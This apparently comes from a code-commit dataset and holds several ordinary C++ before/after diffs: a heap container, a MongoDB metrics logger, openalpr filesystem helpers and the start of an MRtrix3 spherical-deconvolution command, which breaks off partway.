heapify(_seq.begin(), _seq.end(), _seq.begin(), _compare);\n\n return popped;\n }\n\n auto remove(Value const& item) -> void\n {\n auto it = std::find(_seq.begin(), _seq.end(), item);\n if (_seq.end() != it) \n remove(it);\n }\n \/\/\n \/\/ O(lg n)\n \/\/\n auto substitute(Value const& old_value, Value const& new_value) -> void\n {\n remove(old_value);\n push(new_value);\n }\n\n template<typename Predicate>\n auto update_with_if(Value const& new_value, Predicate predicate) -> void\n {\n auto iterator = find_if(_seq.begin(), _seq.end(), [&](Value const& value) {\n return predicate(value);\n });\n if (iterator != _seq.end() && _compare(new_value, *iterator))\n substitute(*iterator, new_value);\n }\n\n void reset()\n {\n _seq.clear();\n }\n\n void reset(CompareFunc && c)\n {\n _compare = move(c);\n reset();\n }\n\n private:\n Vector _seq;\n CompareFunc _compare;\n \/\/\n \/\/ Make sure vector is not empty.\n \/\/ O(lg n)\n \/\/\n template<typename Iterator>\n auto remove(Iterator at) -> void\n {\n std::swap(*at, *(_seq.end() - 1));\n if (!sift_up(_seq.begin(), at, _compare))\n heapify(_seq.begin(), _seq.end() - 1, at, _compare);\/\/avoid involving the last item.\n _seq.resize(size() - 1);\n }\n };\n}<|endoftext|>"} {"text":"<commit_before>#include \"logger_metrics_mongo.h\"\n#include \"mongo\/bson\/bson.h\"\n#include \"mongo\/util\/net\/hostandport.h\"\n#include \"jml\/utils\/string_functions.h\"\n\nnamespace Datacratic{\n\nusing namespace std;\nusing namespace mongo;\n\nLoggerMetricsMongo::LoggerMetricsMongo(Json::Value config,\n const string& coll, const string& appName) : ILoggerMetrics(coll)\n{\n for(string s: {\"hostAndPort\", \"database\", \"user\", \"pwd\"}){\n if(config[s].isNull()){\n throw ML::Exception(\"Missing LoggerMetricsMongo parameter [%s]\",\n s.c_str());\n }\n }\n\n vector<string> hapStrs = ML::split(config[\"hostAndPort\"].asString(), ',');\n if (hapStrs.size() > 1) {\n vector<HostAndPort> haps;\n for (const string & hapStr: hapStrs) {\n haps.emplace_back(hapStr);\n }\n conn.reset(new mongo::DBClientReplicaSet(hapStrs[0], haps, 100));\n }\n else {\n std::shared_ptr<DBClientConnection> tmpConn =\n make_shared<DBClientConnection>();\n tmpConn->connect(hapStrs[0]);\n conn = tmpConn;\n }\n db = config[\"database\"].asString();\n string err;\n if(!conn->auth(db, config[\"user\"].asString(),\n config[\"pwd\"].asString(), err))\n {\n cerr << __FILE__ << \":\" << __LINE__ << endl;\n throw ML::Exception(\n \"MongoDB connection failed with msg [%s]\", err.c_str());\n }\n BSONObj obj = BSON(GENOID);\n conn->insert(db + \".\" + coll, obj);\n objectId = obj[\"_id\"].OID();\n logToTerm = config[\"logToTerm\"].asBool();\n}\n\nvoid LoggerMetricsMongo::logInCategory(const string& category,\n const Json::Value& json)\n{\n BSONObjBuilder bson;\n vector<string> stack;\n function<void(const Json::Value&)> doit;\n\n auto format = [](const Json::Value& v) -> string{\n string str = v.toString();\n if(v.isInt() || v.isUInt() || v.isDouble() || v.isNumeric()){\n return str.substr(0, str.length() - 1);\n }\n return str.substr(1, str.length() - 3);\n };\n\n doit = [&](const Json::Value& v){\n for(auto it = v.begin(); it != v.end(); ++it){\n if(v[it.memberName()].isObject()){\n stack.push_back(it.memberName());\n doit(v[it.memberName()]);\n stack.pop_back();\n }else{\n Json::Value current = v[it.memberName()];\n stringstream key;\n key << category;\n for(string s: stack){\n key << \".\" << s;\n }\n key << \".\" << it.memberName();\n if(current.isArray()){\n BSONArrayBuilder arr;\n for(const Json::Value el: current){\n arr.append(format(el));\n }\n bson.append(key.str(), arr.arr());\n }else{\n bson.append(key.str(), format(current));\n }\n }\n }\n };\n doit(json);\n\n if(logToTerm){\n cout << objectId << \".\" << coll << \".\" << category \n << \": \" << json.toStyledString() << endl;\n }\n\n conn->update(db + \".\" + coll,\n BSON(\"_id\" << objectId),\n BSON(\"$set\" << bson.obj()),\n true);\n}\n\nvoid LoggerMetricsMongo\n::logInCategory(const std::string& category,\n const std::vector<std::string>& path,\n const NumOrStr& val)\n{\n if(path.size() == 0){\n throw new ML::Exception(\n \"You need to specify a path where to log the value\");\n }\n stringstream ss;\n ss << val;\n stringstream newCat;\n newCat << category;\n for(string part: path){\n newCat << \".\" << part;\n }\n string newCatStr = newCat.str();\n string str = ss.str();\n \n if(logToTerm){\n cout << newCatStr << \": \" << str << endl;\n }\n conn->update(db + \".\" + coll,\n BSON(\"_id\" << objectId),\n BSON(\"$set\" \n << BSON(newCatStr << str)),\n true);\n}\n\nconst std::string LoggerMetricsMongo::getProcessId() const{\n return objectId.toString(); \n}\n\n\n}\/\/namespace Datacratic\n<commit_msg>Removed debug line<commit_after>#include \"logger_metrics_mongo.h\"\n#include \"mongo\/bson\/bson.h\"\n#include \"mongo\/util\/net\/hostandport.h\"\n#include \"jml\/utils\/string_functions.h\"\n\nnamespace Datacratic{\n\nusing namespace std;\nusing namespace mongo;\n\nLoggerMetricsMongo::LoggerMetricsMongo(Json::Value config,\n const string& coll, const string& appName) : ILoggerMetrics(coll)\n{\n for(string s: {\"hostAndPort\", \"database\", \"user\", \"pwd\"}){\n if(config[s].isNull()){\n throw ML::Exception(\"Missing LoggerMetricsMongo parameter [%s]\",\n s.c_str());\n }\n }\n\n vector<string> hapStrs = ML::split(config[\"hostAndPort\"].asString(), ',');\n if (hapStrs.size() > 1) {\n vector<HostAndPort> haps;\n for (const string & hapStr: hapStrs) {\n haps.emplace_back(hapStr);\n }\n conn.reset(new mongo::DBClientReplicaSet(hapStrs[0], haps, 100));\n }\n else {\n std::shared_ptr<DBClientConnection> tmpConn =\n make_shared<DBClientConnection>();\n tmpConn->connect(hapStrs[0]);\n conn = tmpConn;\n }\n db = config[\"database\"].asString();\n string err;\n if(!conn->auth(db, config[\"user\"].asString(),\n config[\"pwd\"].asString(), err))\n {\n throw ML::Exception(\n \"MongoDB connection failed with msg [%s]\", err.c_str());\n }\n BSONObj obj = BSON(GENOID);\n conn->insert(db + \".\" + coll, obj);\n objectId = obj[\"_id\"].OID();\n logToTerm = config[\"logToTerm\"].asBool();\n}\n\nvoid LoggerMetricsMongo::logInCategory(const string& category,\n const Json::Value& json)\n{\n BSONObjBuilder bson;\n vector<string> stack;\n function<void(const Json::Value&)> doit;\n\n auto format = [](const Json::Value& v) -> string{\n string str = v.toString();\n if(v.isInt() || v.isUInt() || v.isDouble() || v.isNumeric()){\n return str.substr(0, str.length() - 1);\n }\n return str.substr(1, str.length() - 3);\n };\n\n doit = [&](const Json::Value& v){\n for(auto it = v.begin(); it != v.end(); ++it){\n if(v[it.memberName()].isObject()){\n stack.push_back(it.memberName());\n doit(v[it.memberName()]);\n stack.pop_back();\n }else{\n Json::Value current = v[it.memberName()];\n stringstream key;\n key << category;\n for(string s: stack){\n key << \".\" << s;\n }\n key << \".\" << it.memberName();\n if(current.isArray()){\n BSONArrayBuilder arr;\n for(const Json::Value el: current){\n arr.append(format(el));\n }\n bson.append(key.str(), arr.arr());\n }else{\n bson.append(key.str(), format(current));\n }\n }\n }\n };\n doit(json);\n\n if(logToTerm){\n cout << objectId << \".\" << coll << \".\" << category \n << \": \" << json.toStyledString() << endl;\n }\n\n conn->update(db + \".\" + coll,\n BSON(\"_id\" << objectId),\n BSON(\"$set\" << bson.obj()),\n true);\n}\n\nvoid LoggerMetricsMongo\n::logInCategory(const std::string& category,\n const std::vector<std::string>& path,\n const NumOrStr& val)\n{\n if(path.size() == 0){\n throw new ML::Exception(\n \"You need to specify a path where to log the value\");\n }\n stringstream ss;\n ss << val;\n stringstream newCat;\n newCat << category;\n for(string part: path){\n newCat << \".\" << part;\n }\n string newCatStr = newCat.str();\n string str = ss.str();\n \n if(logToTerm){\n cout << newCatStr << \": \" << str << endl;\n }\n conn->update(db + \".\" + coll,\n BSON(\"_id\" << objectId),\n BSON(\"$set\" \n << BSON(newCatStr << str)),\n true);\n}\n\nconst std::string LoggerMetricsMongo::getProcessId() const{\n return objectId.toString(); \n}\n\n\n}\/\/namespace Datacratic\n<|endoftext|>"} {"text":"<commit_before>#include \"filesystem.h\"\n#include <sstream>\n#include <algorithm>\n\nnamespace alpr\n{\n\n bool startsWith(std::string const &fullString, std::string const &prefix)\n {\n if(fullString.substr(0, prefix.size()).compare(prefix) == 0) {\n return true;\n }\n\n return false;\n }\n\n bool hasEnding (std::string const &fullString, std::string const &ending)\n {\n if (fullString.length() >= ending.length())\n {\n return (0 == fullString.compare (fullString.length() - ending.length(), ending.length(), ending));\n }\n else\n {\n return false;\n }\n }\n\n\n\n\n\n bool hasEndingInsensitive(const std::string& fullString, const std::string& ending)\n {\n if (fullString.length() < ending.length())\n return false;\n\n int startidx = fullString.length() - ending.length();\n\n for (unsigned int i = startidx; i < fullString.length(); ++i)\n if (tolower(fullString[i]) != tolower(ending[i - startidx]))\n return false;\n return true;\n }\n\n bool DirectoryExists( const char* pzPath )\n {\n if ( pzPath == NULL) return false;\n\n DIR *pDir;\n bool bExists = false;\n\n pDir = opendir (pzPath);\n\n if (pDir != NULL)\n {\n bExists = true;\n (void) closedir (pDir);\n }\n\n return bExists;\n }\n\n bool fileExists( const char* pzPath )\n {\n if (pzPath == NULL) return false;\n\n bool fExists = false;\n std::ifstream f(pzPath);\n fExists = f.is_open();\n f.close();\n return fExists;\n }\n\n std::vector<std::string> getFilesInDir(const char* dirPath)\n {\n DIR *dir;\n\n std::vector<std::string> files;\n\n struct dirent *ent;\n if ((dir = opendir (dirPath)) != NULL)\n {\n \/* print all the files and directories within directory *\/\n while ((ent = readdir (dir)) != NULL)\n {\n if (strcmp(ent->d_name, \".\") != 0 && strcmp(ent->d_name, \"..\") != 0)\n files.push_back(ent->d_name);\n }\n closedir (dir);\n }\n else\n {\n \/* could not open directory *\/\n perror (\"\");\n return files;\n }\n\n return files;\n }\n\n bool stringCompare( const std::string &left, const std::string &right )\n {\n for( std::string::const_iterator lit = left.begin(), rit = right.begin(); lit != left.end() && rit != right.end(); ++lit, ++rit )\n if( tolower( *lit ) < tolower( *rit ) )\n return true;\n else if( tolower( *lit ) > tolower( *rit ) )\n return false;\n if( left.size() < right.size() )\n return true;\n return false;\n }\n\n std::string filenameWithoutExtension(std::string filename)\n {\n int lastslash = filename.find_last_of(\"\/\");\n if (lastslash >= filename.size())\n lastslash = 0;\n else\n lastslash += 1;\n \n int lastindex = filename.find_last_of(\".\");\n \n return filename.substr(lastslash, lastindex - lastslash);\n }\n \n std::string get_filename_from_path(std::string file_path)\n {\n\n size_t found;\n found=file_path.find_last_of(\"\/\\\\\");\n \n if (found >= 0)\n return file_path.substr(found+1);\n \n return \"\";\n \n }\n\n std::string get_directory_from_path(std::string file_path)\n {\n if (DirectoryExists(file_path.c_str()))\n return file_path;\n \n size_t found;\n \n found=file_path.find_last_of(\"\/\\\\\");\n \n if (found >= 0)\n return file_path.substr(0,found);\n \n return \"\";\n }\n\n #ifdef WINDOWS\n \/\/ Stub out these functions on Windows. They're used for the daemon anyway, which isn't supported on Windows.\n\n static int makeDir(const char *path, mode_t mode) { return 0; }\n bool makePath(const char* path, mode_t mode) {\n\t std::stringstream pathstream;\n\t pathstream << \"mkdir \" << path;\n\t std::string candidate_path = pathstream.str();\n\t std::replace(candidate_path.begin(), candidate_path.end(), '\/', '\\\\');\n\n\t system(candidate_path.c_str());\n\t return true; \n }\n FileInfo getFileInfo(std::string filename) { \n FileInfo response;\n response.creation_time = 0;\n response.size = 0;\n return response;\n }\n\n #else\n\n FileInfo getFileInfo(std::string filename)\n {\n FileInfo response;\n \n struct stat stat_buf;\n int rc = stat(filename.c_str(), &stat_buf);\n \/\/return rc == 0 ? stat_buf.st_size : -1;\n\n \/\/ 512 bytes is the standard block size\n if (rc == 0)\n {\n #if defined(__APPLE__)\n double milliseconds = (stat_buf.st_ctimespec.tv_sec * 1000) + (((double) stat_buf.st_ctimespec.tv_nsec) \/ 1000000.0);\n #else\n double milliseconds = (stat_buf.st_ctim.tv_sec * 1000) + (((double) stat_buf.st_ctim.tv_nsec) \/ 1000000.0);\n #endif\n response.size = 512 * stat_buf.st_blocks;\n response.creation_time = (int64_t) milliseconds;\n }\n else\n {\n response.creation_time = 0;\n response.size = 0;\n }\n \n return response;\n }\n\n static int makeDir(const char *path, mode_t mode)\n {\n struct stat st;\n int status = 0;\n\n if (stat(path, &st) != 0)\n {\n \/* Directory does not exist. EEXIST for race condition *\/\n if (mkdir(path, mode) != 0 && errno != EEXIST)\n status = -1;\n }\n else if (!S_ISDIR(st.st_mode))\n {\n errno = ENOTDIR;\n status = -1;\n }\n\n return(status);\n }\n\n \/**\n ** makePath - ensure all directories in path exist\n ** Algorithm takes the pessimistic view and works top-down to ensure\n ** each directory in path exists, rather than optimistically creating\n ** the last element and working backwards.\n *\/\n bool makePath(const char* path, mode_t mode)\n {\n\n char *pp;\n char *sp;\n int status;\n char *copypath = strdup(path);\n\n status = 0;\n pp = copypath;\n while (status == 0 && (sp = strchr(pp, '\/')) != 0)\n {\n if (sp != pp)\n {\n \/* Neither root nor double slash in path *\/\n *sp = '\\0';\n status = makeDir(copypath, mode);\n *sp = '\/';\n }\n pp = sp + 1;\n }\n if (status == 0)\n status = makeDir(path, mode);\n free(copypath);\n return (status == 0);\n\n }\n\n #endif\n}\n<commit_msg>Fix ifs that were always true<commit_after>#include \"filesystem.h\"\n#include <sstream>\n#include <algorithm>\n\nnamespace alpr\n{\n\n bool startsWith(std::string const &fullString, std::string const &prefix)\n {\n if(fullString.substr(0, prefix.size()).compare(prefix) == 0) {\n return true;\n }\n\n return false;\n }\n\n bool hasEnding (std::string const &fullString, std::string const &ending)\n {\n if (fullString.length() >= ending.length())\n {\n return (0 == fullString.compare (fullString.length() - ending.length(), ending.length(), ending));\n }\n else\n {\n return false;\n }\n }\n\n\n\n\n\n bool hasEndingInsensitive(const std::string& fullString, const std::string& ending)\n {\n if (fullString.length() < ending.length())\n return false;\n\n int startidx = fullString.length() - ending.length();\n\n for (unsigned int i = startidx; i < fullString.length(); ++i)\n if (tolower(fullString[i]) != tolower(ending[i - startidx]))\n return false;\n return true;\n }\n\n bool DirectoryExists( const char* pzPath )\n {\n if ( pzPath == NULL) return false;\n\n DIR *pDir;\n bool bExists = false;\n\n pDir = opendir (pzPath);\n\n if (pDir != NULL)\n {\n bExists = true;\n (void) closedir (pDir);\n }\n\n return bExists;\n }\n\n bool fileExists( const char* pzPath )\n {\n if (pzPath == NULL) return false;\n\n bool fExists = false;\n std::ifstream f(pzPath);\n fExists = f.is_open();\n f.close();\n return fExists;\n }\n\n std::vector<std::string> getFilesInDir(const char* dirPath)\n {\n DIR *dir;\n\n std::vector<std::string> files;\n\n struct dirent *ent;\n if ((dir = opendir (dirPath)) != NULL)\n {\n \/* print all the files and directories within directory *\/\n while ((ent = readdir (dir)) != NULL)\n {\n if (strcmp(ent->d_name, \".\") != 0 && strcmp(ent->d_name, \"..\") != 0)\n files.push_back(ent->d_name);\n }\n closedir (dir);\n }\n else\n {\n \/* could not open directory *\/\n perror (\"\");\n return files;\n }\n\n return files;\n }\n\n bool stringCompare( const std::string &left, const std::string &right )\n {\n for( std::string::const_iterator lit = left.begin(), rit = right.begin(); lit != left.end() && rit != right.end(); ++lit, ++rit )\n if( tolower( *lit ) < tolower( *rit ) )\n return true;\n else if( tolower( *lit ) > tolower( *rit ) )\n return false;\n if( left.size() < right.size() )\n return true;\n return false;\n }\n\n std::string filenameWithoutExtension(std::string filename)\n {\n int lastslash = filename.find_last_of(\"\/\");\n if (lastslash >= filename.size())\n lastslash = 0;\n else\n lastslash += 1;\n\n int lastindex = filename.find_last_of(\".\");\n\n return filename.substr(lastslash, lastindex - lastslash);\n }\n\n std::string get_filename_from_path(std::string file_path)\n {\n\n size_t found;\n found=file_path.find_last_of(\"\/\\\\\");\n\n if (found != std::string::npos)\n return file_path.substr(found+1);\n\n return \"\";\n\n }\n\n std::string get_directory_from_path(std::string file_path)\n {\n if (DirectoryExists(file_path.c_str()))\n return file_path;\n\n size_t found;\n\n found=file_path.find_last_of(\"\/\\\\\");\n\n if (found != std::string::npos)\n return file_path.substr(0,found);\n\n return \"\";\n }\n\n #ifdef WINDOWS\n \/\/ Stub out these functions on Windows. They're used for the daemon anyway, which isn't supported on Windows.\n\n static int makeDir(const char *path, mode_t mode) { return 0; }\n bool makePath(const char* path, mode_t mode) {\n\t std::stringstream pathstream;\n\t pathstream << \"mkdir \" << path;\n\t std::string candidate_path = pathstream.str();\n\t std::replace(candidate_path.begin(), candidate_path.end(), '\/', '\\\\');\n\n\t system(candidate_path.c_str());\n\t return true;\n }\n FileInfo getFileInfo(std::string filename) {\n FileInfo response;\n response.creation_time = 0;\n response.size = 0;\n return response;\n }\n\n #else\n\n FileInfo getFileInfo(std::string filename)\n {\n FileInfo response;\n\n struct stat stat_buf;\n int rc = stat(filename.c_str(), &stat_buf);\n \/\/return rc == 0 ? stat_buf.st_size : -1;\n\n \/\/ 512 bytes is the standard block size\n if (rc == 0)\n {\n #if defined(__APPLE__)\n double milliseconds = (stat_buf.st_ctimespec.tv_sec * 1000) + (((double) stat_buf.st_ctimespec.tv_nsec) \/ 1000000.0);\n #else\n double milliseconds = (stat_buf.st_ctim.tv_sec * 1000) + (((double) stat_buf.st_ctim.tv_nsec) \/ 1000000.0);\n #endif\n response.size = 512 * stat_buf.st_blocks;\n response.creation_time = (int64_t) milliseconds;\n }\n else\n {\n response.creation_time = 0;\n response.size = 0;\n }\n\n return response;\n }\n\n static int makeDir(const char *path, mode_t mode)\n {\n struct stat st;\n int status = 0;\n\n if (stat(path, &st) != 0)\n {\n \/* Directory does not exist. EEXIST for race condition *\/\n if (mkdir(path, mode) != 0 && errno != EEXIST)\n status = -1;\n }\n else if (!S_ISDIR(st.st_mode))\n {\n errno = ENOTDIR;\n status = -1;\n }\n\n return(status);\n }\n\n \/**\n ** makePath - ensure all directories in path exist\n ** Algorithm takes the pessimistic view and works top-down to ensure\n ** each directory in path exists, rather than optimistically creating\n ** the last element and working backwards.\n *\/\n bool makePath(const char* path, mode_t mode)\n {\n\n char *pp;\n char *sp;\n int status;\n char *copypath = strdup(path);\n\n status = 0;\n pp = copypath;\n while (status == 0 && (sp = strchr(pp, '\/')) != 0)\n {\n if (sp != pp)\n {\n \/* Neither root nor double slash in path *\/\n *sp = '\\0';\n status = makeDir(copypath, mode);\n *sp = '\/';\n }\n pp = sp + 1;\n }\n if (status == 0)\n status = makeDir(path, mode);\n free(copypath);\n return (status == 0);\n\n }\n\n #endif\n}\n<|endoftext|>"} {"text":"<commit_before>\/* Copyright (c) 2008-2019 the MRtrix3 contributors.\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\n * Covered Software is provided under this License on an \"as is\"\n * basis, without warranty of any kind, either expressed, implied, or\n * statutory, including, without limitation, warranties that the\n * Covered Software is free of defects, merchantable, fit for a\n * particular purpose or non-infringing.\n * See the Mozilla Public License v. 2.0 for more details.\n *\n * For more details, see http:\/\/www.mrtrix.org\/.\n *\/\n\n#include \"command.h\"\n#include \"header.h\"\n#include \"image.h\"\n#include \"phase_encoding.h\"\n#include \"algo\/threaded_loop.h\"\n#include \"dwi\/gradient.h\"\n#include \"dwi\/shells.h\"\n#include \"dwi\/sdeconv\/csd.h\"\n#include \"dwi\/sdeconv\/msmt_csd.h\"\n#include \"math\/SH.h\"\n\n\nusing namespace MR;\nusing namespace App;\n\n\nconst char* const algorithms[] = { \"csd\", \"msmt_csd\", NULL };\n\n\n\nOptionGroup CommonOptions = OptionGroup (\"Options common to more than one algorithm\")\n\n + Option (\"directions\",\n \"specify the directions over which to apply the non-negativity constraint \"\n \"(by default, the built-in 300 direction set is used). These should be \"\n \"supplied as a text file containing [ az el ] pairs for the directions.\")\n + Argument (\"file\").type_file_in()\n\n + Option (\"lmax\",\n \"the maximum spherical harmonic order for the output FOD(s).\"\n \"For algorithms with multiple outputs, this should be \"\n \"provided as a comma-separated list of integers, one for \"\n \"each output image; for single-output algorithms, only \"\n \"a single integer should be provided. If omitted, the \"\n \"command will use the highest possible lmax given the \"\n \"diffusion gradient table, up to a maximum of 8.\")\n + Argument (\"order\").type_sequence_int()\n\n + Option (\"mask\",\n \"only perform computation within the specified binary brain mask image.\")\n + Argument (\"image\").type_image_in();\n\nvoid usage ()\n{\n AUTHOR = \"J-Donald Tournier (jdtournier@gmail.com) and Ben Jeurissen (ben.jeurissen@uantwerpen.be)\";\n\n SYNOPSIS = \"Estimate fibre orientation distributions from diffusion data using spherical deconvolution\";\n\n DESCRIPTION\n + Math::SH::encoding_description;\n\n EXAMPLES\n + Example (\"Perform single-shell single-tissue CSD\",\n \"dwi2fod csd dwi.mif response_wm.txt wmfod.mif\",\n \"This algorithm is designed for single-shell data and only uses a single \"\n \"b-value. The response function text file provided should only contain a \"\n \"a single row, corresponding to the b-value used for CSD.\")\n\n + Example (\"Perform multi-shell multi-tissue CSD\",\n \"dwi2fod msmt_csd dwi.mif response_wm.txt wmfod.mif response_gm.txt gm.mif response_csf.txt csf.mif\",\n \"This example is the most common use case of multi-tissue CSD, estimating \"\n \"a white matter FOD, and grey matter and CSF compartments. This algorithm \"\n \"requires at least three unique b-values to estimate three tissue compartments. \"\n \"Each response function text file should have a number of rows equal to the \"\n \"number of b-values used. If only two unique b-values are available, it's also \"\n \"possible to estimate only two tissue compartments, e.g., white matter and CSF.\");\n\n REFERENCES\n + \"* If using csd algorithm:\\n\"\n \"Tournier, J.-D.; Calamante, F. & Connelly, A. \" \/\/ Internal\n \"Robust determination of the fibre orientation distribution in diffusion MRI: \"\n \"Non-negativity constrained super-resolved spherical deconvolution. \"\n \"NeuroImage, 2007, 35, 1459-1472\"\n\n + \"* If using msmt_csd algorithm:\\n\"\n \"Jeurissen, B; Tournier, J-D; Dhollander, T; Connelly, A & Sijbers, J. \" \/\/ Internal\n \"Multi-tissue constrained spherical deconvolution for improved analysis of multi-shell diffusion MRI data \"\n \"NeuroImage, 2014, 103, 411-426\"\n\n + \"Tournier, J.-D.; Calamante, F., Gadian, D.G. & Connelly, A. \" \/\/ Internal\n \"Direct estimation of the fiber orientation density function from \"\n \"diffusion-weighted MRI data using spherical deconvolution.\"\n \"NeuroImage, 2004, 23, 1176-1185\";\n\n ARGUMENTS\n + Argument (\"algorithm\", \"the algorithm to use for FOD estimation. \"\n \"(options are: \" + join(algorithms, \",\") + \")\").type_choice (algorithms)\n + Argument (\"dwi\", \"the input diffusion-weighted image\").type_image_in()\n + Argument (\"response odf\", \"pairs of input tissue response and output ODF images\").allow_multiple();\n\n OPTIONS\n + DWI::GradImportOptions()\n + DWI::ShellsOption\n + CommonOptions\n + DWI::SDeconv::CSD_options\n + DWI::SDeconv::MSMT_CSD_options\n + Stride::Options;\n}\n\n\n\nclass CSD_Processor { MEMALIGN(CSD_Processor)\n public:\n CSD_Processor (const DWI::SDeconv::CSD::Shared& shared, Image<bool>& mask) :\n sdeconv (shared),\n data (shared.dwis.size()),\n mask (mask) { }\n\n\n void operator () (Image<float>& dwi, Image<float>& fod) {\n if (!load_data (dwi)) {\n for (auto l = Loop (3) (fod); l; ++l)\n fod.value() = 0.0;\n return;\n }\n\n sdeconv.set (data);\n\n size_t n;\n for (n = 0; n < sdeconv.shared.niter; n++)\n if (sdeconv.iterate())\n break;\n\n if (sdeconv.shared.niter && n >= sdeconv.shared.niter)\n INFO (\"voxel [ \" + str (dwi.index(0)) + \" \" + str (dwi.index(1)) + \" \" + str (dwi.index(2)) +\n \" ] did not reach full convergence\");\n\n fod.row(3) = sdeconv.FOD();\n }\n\n\n private:\n DWI::SDeconv::CSD sdeconv;\n Eigen::VectorXd data;\n Image<bool> mask;\n\n\n bool load_data (Image<float>& dwi) {\n if (mask.valid()) {\n assign_pos_of (dwi, 0, 3).to (mask);\n if (!mask.value())\n return false;\n }\n\n for (size_t n = 0; n < sdeconv.shared.dwis.size(); n++) {\n dwi.index(3) = sdeconv.shared.dwis[n];\n data[n] = dwi.value();\n if (!std::isfinite (data[n]))\n return false;\n if (data[n] < 0.0)\n data[n] = 0.0;\n }\n\n return true;\n }\n\n\n};\n\n\n\n\nclass MSMT_Processor { MEMALIGN (MSMT_Processor)\n public:\n MSMT_Processor (const DWI::SDeconv::MSMT_CSD::Shared& shared, Image<bool>& mask_image,\n vector< Image<float> > odf_images, Image<float> dwi_modelled = Image<float>()) :\n sdeconv (shared),\n mask_image (mask_image),\n odf_images (odf_images),\n modelled_image (dwi_modelled),\n dwi_data (shared.grad.rows()),\n output_data (shared.problem.H.cols()) { }\n\n\n void operator() (Image<float>& dwi_image)\n {\n if (mask_image.valid()) {\n assign_pos_of (dwi_image, 0, 3).to (mask_image);\n if (!mask_image.value())\n return;\n }\n\n dwi_data = dwi_image.row(3);\n\n sdeconv (dwi_data, output_data);\n if (sdeconv.niter >= sdeconv.shared.problem.max_niter) {\n INFO (\"voxel [ \" + str (dwi_image.index(0)) + \" \" + str (dwi_image.index(1)) + \" \" + str (dwi_image.index(2)) +\n \" ] did not reach full convergence\");\n }\n\n size_t j = 0;\n for (size_t i = 0; i < odf_images.size(); ++i) {\n assign_pos_of (dwi_image, 0, 3).to (odf_images[i]);\n for (auto l = Loop(3)(odf_images[i]); l; ++l)\n odf_images[i].value() = output_data[j++];\n }\n\n if (modelled_image.valid()) {\n assign_pos_of (dwi_image, 0, 3).to (modelled_image);\n dwi_data = sdeconv.shared.problem.H * output_data;\n modelled_image.row(3) = dwi_data;\n }\n }\n\n\n private:\n DWI::SDeconv::MSMT_CSD sdeconv;\n Image<bool> mask_image;\n vector< Image<float> > odf_images;\n Image<float> modelled_image;\n Eigen::VectorXd dwi_data;\n Eigen::VectorXd output_data;\n};\n\n\n\n\n\n\n\nvoid run ()\n{\n\n auto header_in = Header::open (argument[1]);\n Header header_out (header_in);\n header_out.ndim() = 4;\n header_out.datatype() = DataType::Float32;\n header_out.datatype().set_byte_order_native();\n Stride::set_from_command_line (header_out, Stride::contiguous_along_axis (3, header_in));\n\n auto mask = Image<bool>();\n auto opt = get_options (\"mask\");\n if (opt.size()) {\n mask = Header::open (opt[0][0]).get_image<bool>();\n check_dimensions (header_in, mask, 0, 3);\n }\n\n int algorithm = argument[0];\n if (algorithm == 0) {\n\n if (argument.size() != 4)\n throw Exception (\"CSD algorithm expects a single input response function and single output FOD image\");\n\n DWI::SDeconv::CSD::Shared shared (header_in);\n shared.parse_cmdline_options();\n try {\n shared.set_response (argument[2]);\n } catch (Exception& e) {\n throw Exception (e, \"CSD algorithm expects second argument to be the input response function file\");\n }\n\n shared.init();\n\n header_out.size(3) = shared.nSH();\n DWI::stash_DW_scheme (header_out, shared.grad);\n PhaseEncoding::clear_scheme (header_out);\n auto fod = Image<float>::create (argument[3], header_out);\n\n CSD_Processor processor (shared, mask);\n auto dwi = header_in.get_image<float>().with_direct_io (3);\n ThreadedLoop (\"performing constrained spherical deconvolution\", dwi, 0, 3)\n .run (processor, dwi, fod);\n\n } else if (algorithm == 1) {\n\n if (argument.size() % 2)\n throw Exception (\"MSMT_CSD algorithm expects pairs of (input response function & output FOD image) to be provided\");\n\n DWI::SDeconv::MSMT_CSD::Shared shared (header_in);\n shared.parse_cmdline_options();\n\n const size_t num_tissues = (argument.size()-2)\/2;\n vector<std::string> response_paths;\n vector<std::string> odf_paths;\n for (size_t i = 0; i < num_tissues; ++i) {\n response_paths.push_back (argument[i*2+2]);\n odf_paths.push_back (argument[i*2+3]);\n }\n\n try {\n shared.set_responses (response_paths);\n } catch (Exception& e) {\n throw Exception (e, \"MSMT_CSD algorithm expects the first file in each argument pair to be an input response function file\");\n }\n\n shared.init();\n\n DWI::stash_DW_scheme (header_out, shared.grad);\n\n vector< Image<float> > odfs;\n for (size_t i = 0; i < num_tissues; ++i) {\n header_out.size (3) = Math::SH::NforL (shared.lmax[i]);\n odfs.push_back (Image<float> (Image<float>::create (odf_paths[i], header_out)));\n }\n\n Image<float> dwi_modelled;\n auto opt = get_options (\"predicted_signal\");\n if (opt.size())\n dwi_modelled = Image<float>::create (opt[0][0], header_in);\n\n MSMT_Processor processor (shared, mask, odfs, dwi_modelled);\n auto dwi = header_in.get_image<float>().with_direct_io (3);\n ThreadedLoop (\"performing multi-shell, multi-tissue CSD\", dwi, 0, 3)\n .run (processor, dwi);\n\n } else {\n assert (0);\n }\n\n}\n\n<commit_msg>dwi2fod: update documentation around default for lmax<commit_after>\/* Copyright (c) 2008-2019 the MRtrix3 contributors.\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\n * Covered Software is provided under this License on an \"as is\"\n * basis, without warranty of any kind, either expressed, implied, or\n * statutory, including, without limitation, warranties that the\n * Covered Software is free of defects, merchantable, fit for a\n * particular purpose or non-infringing.\n * See the Mozilla Public License v. 2.0 for more details.\n *\n * For more details, see http:\/\/www.mrtrix.org\/.\n *\/\n\n#include \"command.h\"\n#include \"header.h\"\n#include \"image.h\"\n#include \"phase_encoding.h\"\n#include \"algo\/threaded_loop.h\"\n#include \"dwi\/gradient.h\"\n#include \"dwi\/shells.h\"\n#include \"dwi\/sdeconv\/csd.h\"\n#include \"dwi\/sdeconv\/msmt_csd.h\"\n#include \"math\/SH.h\"\n\n\nusing namespace MR;\nusing namespace App;\n\n\nconst char* const algorithms[] = { \"csd\", \"msmt_csd\", NULL };\n\n\n\nOptionGroup CommonOptions = OptionGroup (\"Options common to more than one algorithm\")\n\n + Option (\"directions\",\n \"specify the directions over which to apply the non-negativity constraint \"\n \"(by default, the built-in 300 direction set is used). These should be \"\n \"supplied as a text file containing 